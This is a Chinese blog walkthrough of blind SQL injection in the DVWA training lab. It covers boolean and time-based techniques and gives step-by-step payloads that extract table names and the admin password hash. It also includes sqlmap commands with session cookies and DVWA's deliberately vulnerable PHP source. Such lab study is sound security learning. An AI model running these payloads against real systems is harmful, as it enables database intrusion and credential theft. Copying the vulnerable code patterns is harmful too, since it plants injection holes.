SQL Injection(Blind)(SQL注入之盲注)

SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。

常规SQL注入与SQL盲注详细对比

SQL注入1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。
2.一般在页面上直接就会显示执行sql语句的结果。
SQL盲注1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况

布尔盲注与时间盲注对比

布尔盲注

  可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。

时间盲注

  通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

SQL盲注流程

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

Low

判断注入点和类型

输入 1提交

输入1 and 1=1,显示存在  

输入1 and 1=2,也显示存在,由此说明不是数字型注入  

输入1’ and 1=1#,显示存在  

输入1’ and 1=3#,显示不存在,由此发现应该是字符型漏洞  

输入1" and 1=1#,显示存在  

输入1" and 1=3#,也显示存在,说明不是双引号注入  

只有真假两种情况下回显**不一样**才能判别。

综上可以看出是字符串单引号注入

 猜解当前数据库名称

ASCII查询对照表:[http://ascii.911cha.com/](http://ascii.911cha.com/)

猜测数据库名的第一个字符ASCII的取值范围

​​由于是DVWA靶场,所以合理猜测数据库名为dvwa(如果是其他场景下,需要不断修改数值,缩小取值范围,最终确定一个取值)​

|输入语句|显示结果|
| -------------------------------------------| -------------------------------------------------|
|1' and ascii(substr(database(),1,1))>97#|显示存在,说明第一个字符是一个小写字母且不是a。|
|1' and ascii(substr(database(),1,1))=100#|显示存在,说明第一个是d|
|1'and ascii(substr(database(),2,1))=118#|显示存在,说明第二个是v|
|1' and ascii(substr(database(),3,1))=119#|显示存在,说明第三个是w|
|1'and ascii(substr(database(),4,1))=97#|显示存在,说明第四个是a|

确定dvwa数据库中表的数量

|输入语句|显示结果|
| ---------------------------------------------------------------------------------------------------| -------------------------|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())=1#|不存在|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())>2#|不存在,说明表的数量是2|
|1'and (select count(table_name) from information_schema.tables where table_schema=database())=2 #|存在,猜想验证成功|

确定dvwa数据库中表名的长度

​输入语句分布解析:​

1.查询列出当前连接数据库下的所有表名称  
select table_name from information_schema.tables where table_schema=database()

2.列出当前连接数据库中的第1个表名称  
select table_name from information_schema.tables where table_schema=database() limit 0,1  
​PS:limit 结果编号(从0开始),返回结果数量​

3.计算当前连接数据库第1个表名的字符串长度值  
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值  
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------| -------------------------------|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#|不存在|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#|存在,说明dvwa第一个表长度为9|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#|存在,验证成功|

同理可以对第二个表的长度进行猜测:

|输入语句|显示结果|
| -------------------------------------------------------------------------------------------------------------| ---------------------------|
|1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#|存在,dvwa第二个表长度为5|

猜解数据库中的表名

确定dvwa数据库中表的名字

与确定数据库名字类似,用到ascii()和substr()两个函数。

​​substr(str,1,1):从str的第一个字符开始,截取长度1 == 取str的第一个字符​

​​limit 0,1:0-查询结果的第一个;1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。​

|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------------------| --------------------------------------------------------------------------------|
|1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#|显示存在,第一个表的第一个字符是g,以此类推可以确定第一个表的名字是guestbook。|
|1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#|存在,第二个表的第一个字符是u,以此类推可以确定第二个表的名字是users|

猜解表中的字段名

确定users表中的字段数目

|输入语句|显示结果|
| -----------------------------------------------------------------------------------------------------------------------------| ----------------------------|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4#|存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9#|不存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7#|存在|
|1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#|存在所以users表中有8个字段|

获取表中的字段值

确定users表中的8个字段长度

|输入语句|显示结果|
| --------------------------------------------------------------------------------------------------------------------------------------------| ------------------------------------|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#|不存在|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#|存在|
|1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#|不存在|
|输入1'and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#|存在说明users表的第一个字段长度为7|

同理可以获取其他7个字段的长度

确定users表中的8个字段名字

由于表中的字段数目比较多,长度比较长,如果采用之前的按字符猜测,会很耗时间。根据我们的需要,判断users表中是否含有用户名和密码字段即可。

根据经验猜测用户名和密码的字段名字如下:

用户名:username/user_name/uname/u_name/user/…

密码:password/pass_word/pwd/pass/…

* 猜用户名

  ```
    1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
  ```

  显示不存在,更换字段名再尝试,发现**user**显示存在
* 猜密码

  ```
    1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
  ```

  显示存在

综上可知,users表中的用户名和密码字段分别为**user**和​**password**​。

获取user和password的字段值

password在存储的时候进行了MD5加密。

同样先进行猜测碰撞,如果不行再逐个筛选。

```
1' and (select count(*) from users where user='admin')=1 #
```

显示存在

```
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
```

显示存在

综上可知一组用户名-密码:admin-password。

利用sqlmap工具

获取库名

先获取cookie

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch --dbs

获取表名

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa --tables

获取列名

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa -T users --columns

获取数据

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=low" --batch -D dvwa -T users --dump

源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium

这里直接跳过Medium的等级除了是post传参和我写的sql注入基本差不多只不过是加了盲注

利用sqlmap工具

因为是Post传参所以要使用data参数把数据当年成post传给数据库

 sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/#" --cookie="PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=medium" --data="id=1&Submit=Submit" --dbs

之后和low等级操作一样

源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

//user中x00,n,r,,’,”,x1a转义,防SQL注入
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

high

对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。

  可以参考Low级别的代码:

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

利用sqlmap工具

  1. High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
  2. High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-url="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>https://www.jianshu.com/p/fa77f2ed788b

这关使用sqlmap主要注意要比low关增加一个参数--level 2,这样才会检测cookie中是否包含注入点(默认--level 1,不检测cookie)

sqlmap -u "192.168.0.103:8080/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.0.103:8080/vulnerabilities/sqli_blind/"  --cookie="id=1; PHPSESSID=kc7cpi0krj7eha0mi64siuhvis; security=high" --dbs --batch  --technique B --level 2

后续操作都是一样的

源码分析
 

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

这是本周的学习成果,继续加油!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

'陳平安'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值